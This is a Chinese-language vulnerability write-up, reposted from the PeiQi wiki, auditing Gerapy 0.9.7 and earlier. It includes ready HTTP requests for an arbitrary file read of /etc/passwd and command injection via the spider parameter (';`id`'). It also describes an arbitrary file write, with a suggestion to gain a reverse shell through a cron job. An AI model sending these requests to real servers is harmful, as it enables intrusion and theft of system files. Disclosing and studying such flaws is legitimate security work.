漏洞预警:Gerapy项目 的二次漏洞挖掘

渗透技巧 2年前 (2021) admin
1,244 0 0
漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘


漏洞预警:Gerapy项目 的二次漏洞挖掘


漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘


漏洞预警:Gerapy项目 的二次漏洞挖掘



漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘

:漏洞描述?



继昨天那篇文章的漏洞预警,对该项目再次审计


漏洞预警:Gerapy项目 的二次漏洞挖掘


漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘

二:  漏洞影响?



Gerapy <= 0.9.7


漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘

三:  漏洞复现?




登录页面


漏洞预警:Gerapy项目 的二次漏洞挖掘



我们首先先查看关键接口文件 gerapy/server/core/urls.py


漏洞预警:Gerapy项目 的二次漏洞挖掘



可以看到 api/project/file/read 接口可能与文件读取相关,查看调用的文件

gerapy/server/core/views.py 中的 project_file_read 方法


漏洞预警:Gerapy项目 的二次漏洞挖掘


@api_view(['POST'])@permission_classes([IsAuthenticated])def project_file_read(request):    """    get content of project file    :param request: request object    :return: file content    """    if request.method == 'POST':        data = json.loads(request.body)        path = join(data['path'], data['label'])        # binary file        with open(path, 'rb') as f:            return HttpResponse(f.read().decode('utf-8'))



path参数与label参数皆可控,攻击者只需要传入 json数据构造特殊请求就可以读取服务器中的文件


POST /api/project/file/read HTTP/1.1Host: Content-Length: 35Accept: application/json, text/plain, */*Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close
{"path":"/etc/", "label":"passwd"}

漏洞预警:Gerapy项目 的二次漏洞挖掘




我们再继续向下看一些接口,根据漏洞预警描述官方更新最新版已经把昨天说的那个git clone 命令拼接修复了,我们需要再寻找一个方式获取权限


漏洞预警:Gerapy项目 的二次漏洞挖掘



我们找到一个参数  spider 为可控参数,使用Popen命令执行时我们可以拼接命令造成命令注入,看一下方法对应的URl接口


漏洞预警:Gerapy项目 的二次漏洞挖掘



构造请求包测试命令执行


POST /api/project/1/parse HTTP/1.1Host: Pragma: no-cacheCache-Control: no-cacheAccept: application/json, text/plain, */*Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Content-Length: 18
{"spider":";`id`"}

漏洞预警:Gerapy项目 的二次漏洞挖掘

我们再往下看文件更新部分代码

漏洞预警:Gerapy项目 的二次漏洞挖掘



path lable code 参数均为用户可控,就导致了任意文件的写入了, 一般项目权限为 root,可以通过写定时任务等方法反弹shell,用之前任意文件读取确认文件的写入


漏洞预警:Gerapy项目 的二次漏洞挖掘

漏洞预警:Gerapy项目 的二次漏洞挖掘


漏洞预警:Gerapy项目 的二次漏洞挖掘
漏洞预警:Gerapy项目 的二次漏洞挖掘

 四:  关于文库?



https://www.yuque.com/peiqiwiki



漏洞预警:Gerapy项目 的二次漏洞挖掘

最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦?

知识星球里会持续发布一些漏洞公开信息和技术文章~

漏洞预警:Gerapy项目 的二次漏洞挖掘



由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。





原文始发于微信公众号(PeiQi文库):漏洞预警:Gerapy项目 的二次漏洞挖掘

版权声明:admin 发表于 2021年11月29日 上午3:53。
转载请注明:漏洞预警:Gerapy项目 的二次漏洞挖掘 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...